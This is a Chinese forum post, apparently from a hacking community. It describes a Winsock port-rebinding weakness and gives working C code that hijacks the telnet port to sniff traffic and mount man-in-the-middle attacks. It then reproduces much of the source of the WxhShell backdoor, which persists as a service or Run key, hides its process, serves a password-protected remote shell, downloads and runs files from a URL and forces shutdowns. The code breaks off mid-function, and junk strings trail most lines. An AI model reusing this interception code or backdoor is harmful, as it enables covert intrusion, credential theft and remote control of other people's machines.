社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17760阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ba@UX(t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'JRkS'ay  
Aja'`Mu  
  saddr.sin_family = AF_INET; k.0$~juu  
|n* I}w^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o>j3<#?  
I,q3J1K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -+c_TJ.dC  
*jDzh;H!w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >5XE*9  
Xf$,ra"  
  这意味着什么?意味着可以进行如下的攻击: kbOo;<X9A  
`bivAL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K4oLb"gB1  
iiO4.@nT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;l~gA|A  
w'cZ\<N[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |%TH|?kB  
2uqdx'^"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H%sbf& gi  
&o)j@5Y?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  +/AW6  
80 p7+W2m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h!MZ 6}zb)  
YZ'gd10T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P^.L0T5g  
G?YKm1:w   
  #include lgre@M]mg  
  #include ~0ZP%1.B3  
  #include B&<Z#C:I  
  #include    ?1?m4i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T4w`I;&v  
  int main() ? NVN&zD]  
  { {fk'g(E8([  
  WORD wVersionRequested; p?5`+Z  
  DWORD ret; E+[K?W5  
  WSADATA wsaData; L# (o(4g2  
  BOOL val; G9^!= v@  
  SOCKADDR_IN saddr; X@ jml$;$  
  SOCKADDR_IN scaddr; [ tm J6^s  
  int err; Jfo#IRC  
  SOCKET s; *`mwm:4  
  SOCKET sc; R%54!f0 %  
  int caddsize; Hz+edM UL  
  HANDLE mt; 7pr@aA"vgj  
  DWORD tid;   =j }]-!  
  wVersionRequested = MAKEWORD( 2, 2 ); r@k&1*&  
  err = WSAStartup( wVersionRequested, &wsaData ); q[**i[+%  
  if ( err != 0 ) { 8CwgV  
  printf("error!WSAStartup failed!\n"); F8/4PB8-  
  return -1; Q>= :$I  
  } 8"RX~Igf  
  saddr.sin_family = AF_INET; 265df Y9Pu  
   (w)Qt/P^4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L?<V KT  
;R|5sCb/m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o3j4XrK  
  saddr.sin_port = htons(23); * UBU?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *7DQ#bD  
  { 0FHN  
  printf("error!socket failed!\n"); dN;C-XF3s  
  return -1; 1;g>?18@  
  } BW z*!(   
  val = TRUE; qKZ~)B j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Bo)w#X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^%*%=LJm  
  { JKXs/r;:  
  printf("error!setsockopt failed!\n"); \JN?3}_J  
  return -1; l}K {=%U>7  
  } 'tp+g3V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _q+H>1. &9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~B|K]&/]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -hyY5!rD  
AfFF u\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _Su$oOy(Ea  
  { D+#QQH  
  ret=GetLastError(); #k5Nnv#(J  
  printf("error!bind failed!\n"); 1kvBQ1+  
  return -1; O-5H7Kd-  
  } [y64%|m  
  listen(s,2); d#Ql>PrY  
  while(1) l>H#\MR  
  { bp;b;f>  
  caddsize = sizeof(scaddr); eBBqF!WDb  
  //接受连接请求 NKh"x&R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E<D45C{DP  
  if(sc!=INVALID_SOCKET) 3|l+&LF!IC  
  { EL5gMs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $x#Y\dpS  
  if(mt==NULL) `a98+x?JF  
  { Ryr2  
  printf("Thread Creat Failed!\n"); /vBOf;L  
  break; 68W&qzw.[r  
  } FE" ksi 9  
  } F@)wi0  
  CloseHandle(mt); ~UEft  
  } ^4h/6^b0c  
  closesocket(s); pa4zSl  
  WSACleanup(); Rs8^ 27  
  return 0; H Y\-sl^  
  }   S:+SZq  
  DWORD WINAPI ClientThread(LPVOID lpParam) K!0vvP2H  
  { DO8@/W( `  
  SOCKET ss = (SOCKET)lpParam; QI.{M$,m~  
  SOCKET sc; Pur~Rz\ \  
  unsigned char buf[4096]; OZB(4{vnyC  
  SOCKADDR_IN saddr; )zf&`T  
  long num; 3g0[( ;  
  DWORD val; [ ;  
  DWORD ret; Zu,rf9LMj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LlrUJ-uC7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2dFC{US'  
  saddr.sin_family = AF_INET; 48Vmz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q+ $+{g-8  
  saddr.sin_port = htons(23); _ 2R;@[f2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~jQ|X?tR  
  { 7%b?[}y4  
  printf("error!socket failed!\n"); mr,IP=e~  
  return -1; 0P3^#j  
  } s["8QCd"r  
  val = 100; 4l<%Q2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d *!)wt  
  { Lf4c[[@%gd  
  ret = GetLastError(); [z'PdYQR/{  
  return -1; wi|'pKG  
  } ]N!8U_U3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G0Eqo$W)S  
  { W]}y:_t4  
  ret = GetLastError(); fb0i6RC~&  
  return -1; 2/<VoK0b  
  } V\5ZRLawP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @A GM=v  
  { *I:^g  
  printf("error!socket connect failed!\n"); BGh1hyJ8d  
  closesocket(sc); \vjIw{   
  closesocket(ss); ABuK`(f.  
  return -1; p%/Z  
  } LZG?M|(6D  
  while(1) _lcx?IV  
  { ^`XQ>-wWue  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V^sZXdDNL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e`27 ?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qb'4x){  
  num = recv(ss,buf,4096,0); Ha>Hb`  
  if(num>0) Ka%u#};  
  send(sc,buf,num,0); KzZ|{ !C  
  else if(num==0) &FHzd/  
  break; 8b\XC%k  
  num = recv(sc,buf,4096,0); E4idEQ}H  
  if(num>0) I?<5 %  
  send(ss,buf,num,0); c5Fl:=h  
  else if(num==0) 8vpB(VxV+  
  break; #e|G!'wdj  
  } lgWEB3f .  
  closesocket(ss); {]-AuC2E/0  
  closesocket(sc); ' 5`w5swbc  
  return 0 ; Ac{"$P`  
  } jrJ!A(<)  
u*u3<YQ  
6AD#x7drj  
========================================================== X` r~cc  
| >X5@  
下边附上一个代码,,WXhSHELL cih[A2lp  
,Q:Ylc8  
========================================================== PWUS@I  
zmaf@T  
#include "stdafx.h" }ADdKK-  
S<fSoU+RJ  
#include <stdio.h> 36iDiT_  
#include <string.h> >d2U=Yk!  
#include <windows.h> hq+j8w}<-  
#include <winsock2.h> Esx"nex  
#include <winsvc.h> ^k{b8-)W<  
#include <urlmon.h> r Z)?uqa  
'&v.h#<  
#pragma comment (lib, "Ws2_32.lib") OynQlQD/Eu  
#pragma comment (lib, "urlmon.lib") e x" E50  
L{PH8Xl_  
#define MAX_USER   100 // 最大客户端连接数 IP<]a5  
#define BUF_SOCK   200 // sock buffer dA4DW  
#define KEY_BUFF   255 // 输入 buffer p6P .I8g  
X^Dklqqy  
#define REBOOT     0   // 重启 /<zBjvr%%  
#define SHUTDOWN   1   // 关机 eI99itDQ  
F%|F-6  
#define DEF_PORT   5000 // 监听端口 qrdA4S  
m ^?a/  
#define REG_LEN     16   // 注册表键长度 DD$YMM  
#define SVC_LEN     80   // NT服务名长度 F{,<6/ayRz  
%)'# d  
// 从dll定义API y(81| c#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~oQhU??"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ZDn5d%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'LC-/_g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0o-. m  
u_31Db<  
// wxhshell配置信息 oJ4OVfknD  
struct WSCFG { * z85 2@  
  int ws_port;         // 监听端口 Vd%%lv{v  
  char ws_passstr[REG_LEN]; // 口令 e97Ll=>  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZhvZe/  
  char ws_regname[REG_LEN]; // 注册表键名 bEvlk\iql  
  char ws_svcname[REG_LEN]; // 服务名 R"Ff(1m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T- ~l2u|s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pk{eGG<F$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E]@$,)nC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )O}q{4,}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $f>h_8cla  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >G#SfE$0  
WlJ=X$  
}; r~2>_LK  
k4i*80  
// default Wxhshell configuration o*5iHa(Qm  
struct WSCFG wscfg={DEF_PORT, xOY %14%Y  
    "xuhuanlingzhe", d1]1bN4`"0  
    1, )/87<Y;o  
    "Wxhshell", B:X,vE  
    "Wxhshell", E^K<b7  
            "WxhShell Service", \mo NpKf  
    "Wrsky Windows CmdShell Service", IJ[r!&PY  
    "Please Input Your Password: ", (D5sJ$&E@\  
  1, cVb&Jzd  
  "http://www.wrsky.com/wxhshell.exe", b aO ^Z  
  "Wxhshell.exe" ]wxjd l  
    }; b@s6jNhVO^  
./l^Iz&0  
// 消息定义模块 v^0*{7N'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E&z`BPd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vf*Z}'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /BN_K8nb`  
char *msg_ws_ext="\n\rExit."; ahoXQ8c:\}  
char *msg_ws_end="\n\rQuit."; Ga$J7 R  
char *msg_ws_boot="\n\rReboot..."; @'AjEl:&-_  
char *msg_ws_poff="\n\rShutdown..."; _-+xzdGvX  
char *msg_ws_down="\n\rSave to "; j:>_1P/  
9'" F7>d  
char *msg_ws_err="\n\rErr!"; #lDW?  
char *msg_ws_ok="\n\rOK!"; <6rc 8jYz  
[aS<u`/g|  
char ExeFile[MAX_PATH]; R]LuZN  
int nUser = 0; =tS#t+2S  
HANDLE handles[MAX_USER]; V$?@ z>7  
int OsIsNt; D\H;_k8  
R\T1R"1  
SERVICE_STATUS       serviceStatus; Q\moR^>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {VmJVO]S  
DWwPid} "  
// 函数声明 'W_u1l/  
int Install(void); fHV%.25  
int Uninstall(void); Mil+> X0  
int DownloadFile(char *sURL, SOCKET wsh); 3QF/{$65!  
int Boot(int flag); w\}@+w3b~  
void HideProc(void); GZt L-   
int GetOsVer(void); I%<LLkQ  
int Wxhshell(SOCKET wsl); ,wYA_1$$H  
void TalkWithClient(void *cs); BN>t"9XpW  
int CmdShell(SOCKET sock); qP k`e}D  
int StartFromService(void); `k;MGs)&  
int StartWxhshell(LPSTR lpCmdLine); ]. E/s(p  
'#eY4d<i]n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y n7z#bu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r gw@  
1=@csO_yn  
// 数据结构和表定义 $*')Sma  
SERVICE_TABLE_ENTRY DispatchTable[] = I6e[K(7NY  
{ ?se\?q  
{wscfg.ws_svcname, NTServiceMain}, zB68%  
{NULL, NULL} JYw_Z*L=m  
}; tv 7"4$T  
4`[2Te>  
// 自我安装 nRHxbE}::  
int Install(void) VV+gPC  
{ +bDBc?HZ{$  
  char svExeFile[MAX_PATH]; 8\VP)<<  
  HKEY key; {9Ug9e{ ~  
  strcpy(svExeFile,ExeFile); AW <"3 !@  
J\l'nqS"  
// 如果是win9x系统,修改注册表设为自启动 [k<.BCE  
if(!OsIsNt) { e2_p7   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DD fw& y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;.U<Lr^9#  
  RegCloseKey(key); <L'6CBbP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $<da<}b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0&$,?CL?  
  RegCloseKey(key);  MU>6s`6O  
  return 0; E=# O|[=  
    } = 9!|%j  
  } ?RPVd8PUhN  
} p#aB0H3  
else { (jp!q ,)  
:\F1S:&P  
// 如果是NT以上系统,安装为系统服务 {oftZ Xwf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RRUv_sff  
if (schSCManager!=0) }h+{>{2j  
{ %'w?fqk  
  SC_HANDLE schService = CreateService @L,4JPk  
  ( 1:;S6{oQ  
  schSCManager, .%G>z"Xx  
  wscfg.ws_svcname, SpC6dkxD\  
  wscfg.ws_svcdisp, [/Sk+ID  
  SERVICE_ALL_ACCESS, O|AY2QH\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JUCp#[q  
  SERVICE_AUTO_START, ^xX1G _{  
  SERVICE_ERROR_NORMAL, N;` jz(r  
  svExeFile, U ATF}x   
  NULL, -P:o ^_)g  
  NULL, eA_]%7+`  
  NULL, br,xwc  
  NULL, ]o?r( 1  
  NULL =Cc]ugl7-  
  ); "lRxatM  
  if (schService!=0) e'|IRhr  
  { \C<'2KZR,  
  CloseServiceHandle(schService); {|B 2$1':  
  CloseServiceHandle(schSCManager); S| |OSxZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $d*PY_  
  strcat(svExeFile,wscfg.ws_svcname); j8)rz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xnOd$]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aQ*?L l  
  RegCloseKey(key); | Di7 ,$c  
  return 0; y>>)Yo&|  
    } *cP(3n3]R  
  } P%aNbMg  
  CloseServiceHandle(schSCManager); ?*^HZ~O1  
} 37 b6w6{D  
} 8o i{%C&-  
VDFs.;:s  
return 1; x~QZVL=:  
} 2. q\!V}yQ  
l4gZHMh'  
// 自我卸载 6~OJB!  
int Uninstall(void) Z+Cjg #+  
{ _BoYy JQH  
  HKEY key; _<%YLv  
/'a\$G"%6  
if(!OsIsNt) { ` >loleI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cD t|v~  
  RegDeleteValue(key,wscfg.ws_regname); gsY Q"/S9  
  RegCloseKey(key); k$|g)[RE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y|6gg  
  RegDeleteValue(key,wscfg.ws_regname); a+^,EY  
  RegCloseKey(key); SUDvKP  
  return 0; WP{U9YF2  
  } E[Q2ZqhgbP  
} N~ajrv}kd  
} VCzb[.  
else { G 2`hEX%  
.@0@Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9-Z ?  
if (schSCManager!=0) 7Ue&y8Yf  
{ 2cjbb kq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 26}fB  
  if (schService!=0) v7/k0D .  
  { ! u@JH`  
  if(DeleteService(schService)!=0) { ZypK''&oc  
  CloseServiceHandle(schService); g:s|D hE[  
  CloseServiceHandle(schSCManager); E/<n"'0ek  
  return 0; seVT| z  
  } }.1}yz^y  
  CloseServiceHandle(schService); Ept=&mJPu  
  } ^CK D[s  
  CloseServiceHandle(schSCManager); 5+2qx)FZ  
} :F_>`{  
} '~VF*i^4  
rZ&li/Z  
return 1; "E@A~<RKP  
}  z31g"  
nRyx2\Py+  
// 从指定url下载文件 yeam-8  
int DownloadFile(char *sURL, SOCKET wsh) ,Jx.Kj.,  
{ Pk;1q?tGw  
  HRESULT hr; .X5A7 m  
char seps[]= "/"; F:sUGM,  
char *token; {e5-  
char *file; Jn%Etz-  
char myURL[MAX_PATH]; e8M0Lz#}  
char myFILE[MAX_PATH]; DVt^O [  
D`fIw` _  
strcpy(myURL,sURL); _>bk'V7  
  token=strtok(myURL,seps); TK0WfWch  
  while(token!=NULL) >)HKruSW.  
  { 'nS>'yYH#  
    file=token; T 0qM "  
  token=strtok(NULL,seps); c axOxRo\  
  } $pIo`F _W  
Y$#6%`*#>n  
GetCurrentDirectory(MAX_PATH,myFILE); O^q~dda  
strcat(myFILE, "\\"); T*g}^TEh  
strcat(myFILE, file); $Wjx$fD  
  send(wsh,myFILE,strlen(myFILE),0); $rJgBN   
send(wsh,"...",3,0); ?Yx2q_KZk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !DUOi4I  
  if(hr==S_OK) 3a&HW JBSx  
return 0; 4aKppj  
else RXo6y(^  
return 1; hu >wcOt  
nvA7eTO6C  
} At'M? Q@v  
$3g M P+  
// 系统电源模块 "<Yxt"Z4  
int Boot(int flag) <g&.UW4  
{ ,g4T>7`&U%  
  HANDLE hToken; mi1^hl'2  
  TOKEN_PRIVILEGES tkp; $KhD>4^ jL  
RY3=UeoF  
  if(OsIsNt) { +~|Jn_:A f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G.$KP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fQ1Dp  
    tkp.PrivilegeCount = 1; I Bko"|e@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pWn]$HaoG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M& )yr^  
if(flag==REBOOT) { i(ZzE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HCx0'|J  
  return 0; 8Zy*#[-  
} hgbf"J6V8  
else { \6bvk _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }|&^Sg%95  
  return 0; ^*+j7A.n  
} EPA 2_  
  } mwMu1#  
  else { 4`Zo Ar-5|  
if(flag==REBOOT) { WJI}~/z;C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Yvy37n((  
  return 0; lANi$ :aE  
} ,tDLpnB@;  
else { pMY7{z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [XH,~JZJj  
  return 0; CpK:u! Dn  
} I!}V+gu=  
} eCWF0a  
x iz+ R9p  
return 1; ?NvE9+n  
} 0:-z+`RHE  
';}:*nZ//_  
// win9x进程隐藏模块 'n^?DPvD  
void HideProc(void) j&U7xv  
{ Vk2%yw>  
@4KKm@(p85  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w `+.F;}s  
  if ( hKernel != NULL ) qu!x#OY+  
  { 9I`0`o"A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `gF`Sgz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <f=<r*6  
    FreeLibrary(hKernel); }gFa9M<  
  } hsJ^Au=})w  
6G#[Mc yn  
return; `t44.=%  
} ;#+I"Ow  
l>L?T#v!_  
// 获取操作系统版本 SL/'UoYm<  
int GetOsVer(void) .Wr7*J[V.  
{ v;-0^s/P  
  OSVERSIONINFO winfo; > 5?c93?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }2 \Hg  
  GetVersionEx(&winfo); ,% 'r:@'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .JTRFk{W  
  return 1; ^hr # 1  
  else Ui-Y `  
  return 0; 4=`1C-v?q  
} X$G:3uoN  
V|F/ynJfA  
// 客户端句柄模块 \){_\{&  
int Wxhshell(SOCKET wsl) Pa#Jwo  
{ X}5"ZLa7l  
  SOCKET wsh; .gN ziDO  
  struct sockaddr_in client; UtC<TBr  
  DWORD myID; \ So)g)K  
P[$idRS&  
  while(nUser<MAX_USER) }'86hnW  
{ Z\]LG4N?  
  int nSize=sizeof(client); v~W ;&{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qx9; "Ut  
  if(wsh==INVALID_SOCKET) return 1; /;:4$2R(;  
J_j4Zb% K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >e(@!\ x  
if(handles[nUser]==0) 7]Hf3]e>/  
  closesocket(wsh); LNrM`3%2-  
else |`kk mq  
  nUser++; L]Xx-S  
  } uhnnjI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]JvjM,  
H|,d`@U  
  return 0; ]&B/rSC  
} [6 "5  
lqgR4  !  
// 关闭 socket $ %|b6Gr/&  
void CloseIt(SOCKET wsh) T00sYoK  
{ ~IPATG  
closesocket(wsh); U%Hcc k'  
nUser--; nv7)X2jja  
ExitThread(0); }sJ}c}b  
} 4~ &X]/_'  
fZS'e{V  
// 客户端请求句柄 R?,v:S&i7;  
void TalkWithClient(void *cs) ew~uOG+  
{ 7/fJQM  
T,Q7 YI  
  SOCKET wsh=(SOCKET)cs; "vkM*HP  
  char pwd[SVC_LEN]; uZ@qlq8  
  char cmd[KEY_BUFF]; !>wu7u-  
char chr[1]; a+CJJ3T-  
int i,j; #7sxb  
m*h O@M  
  while (nUser < MAX_USER) { ~(NFjCUY?  
1K)9fMr]  
if(wscfg.ws_passstr) { p%X.$0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,`'A"]"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wlh%{l  
  //ZeroMemory(pwd,KEY_BUFF); qlg.\H:W~  
      i=0; 0r[a$p>`  
  while(i<SVC_LEN) { W>c*\)Xk !  
7:=(yBG  
  // 设置超时 %F$ ]v  
  fd_set FdRead; h/y0Q~|/d  
  struct timeval TimeOut; Q,tjODc6n  
  FD_ZERO(&FdRead); #,FXc~V  
  FD_SET(wsh,&FdRead); #Aj#C>  
  TimeOut.tv_sec=8; `K[r5;QFKf  
  TimeOut.tv_usec=0; x%T^:R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R%t|R7 9I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EFu$>Z4  
k Q_Vj7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9x(t"VPuS  
  pwd=chr[0]; &|Rww\oJ  
  if(chr[0]==0xd || chr[0]==0xa) { 7fd,I%v  
  pwd=0; "jq6FT)O  
  break; o4j!:CI  
  } L$ ^ew0C  
  i++; v}z^M_eFm  
    } %m/5! "  
3RD+;^}q 3  
  // 如果是非法用户,关闭 socket {A%&D^o)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u@+^lRGFh  
} hOs~/bM  
f'7/Wj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Tw $} 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 4(bo \  
$RHw6*COG  
while(1) { 7C_U:x  
Dr(;A>?qG  
  ZeroMemory(cmd,KEY_BUFF); Ra^c5hP:.E  
ycEp,V;[Z  
      // 自动支持客户端 telnet标准   :9q|<[Y^  
  j=0; AT2D+Hi=E  
  while(j<KEY_BUFF) { ' ~z`kah  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1-<?EOYaE  
  cmd[j]=chr[0]; !wKNYe  
  if(chr[0]==0xa || chr[0]==0xd) { jd "YaZOQ  
  cmd[j]=0; :; La V  
  break; !>+m46A  
  } p^p1{%=  
  j++; hu}uc&N)iE  
    } &t'P>6)  
@00&J~D  
  // 下载文件 )U0I|dx  
  if(strstr(cmd,"http://")) { ~X'hRNFx~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X*bOE}  
  if(DownloadFile(cmd,wsh)) i\4dd)p-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cA]PZ*]{BN  
  else 5twG2p8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dWo$5Bls<A  
  } Iu;VFa  
  else { NjdDImz.;s  
hsQ*ozv[)  
    switch(cmd[0]) { l~@ -oE  
  A9Pq}3U  
  // 帮助 K!-iDaVI  
  case '?': { z_y@4B6>}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Py Z{yS  
    break; [Z1,~(3  
  } fq):'E)  
  // 安装 bQu@.'O!k  
  case 'i': { 3XUsw1,[  
    if(Install()) _PP-'^ U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8p/&_<mnW  
    else hsI9{j]f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [LbCG  
    break; C6D Eq>v  
    } \#"&S@%c  
  // 卸载 )M56vyo  
  case 'r': { )Q|sW+AF  
    if(Uninstall()) )G#O#Yy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Ea/)EB]  
    else BG]|iHi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g\aq#QV  
    break; lXnv(3j3*s  
    } V r T0S  
  // 显示 wxhshell 所在路径 Dk g-y9  
  case 'p': { CzmB76zy.  
    char svExeFile[MAX_PATH]; Z22#lF\N  
    strcpy(svExeFile,"\n\r"); ;`a~9uG  
      strcat(svExeFile,ExeFile); iTCY $)J  
        send(wsh,svExeFile,strlen(svExeFile),0); P Qi=  
    break; ^c){N-G  
    } 8`WaUB%  
  // 重启 1t#|MH ?U_  
  case 'b': { <sjz_::V8R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0!1cHB/c  
    if(Boot(REBOOT)) cNl$ vP83z  
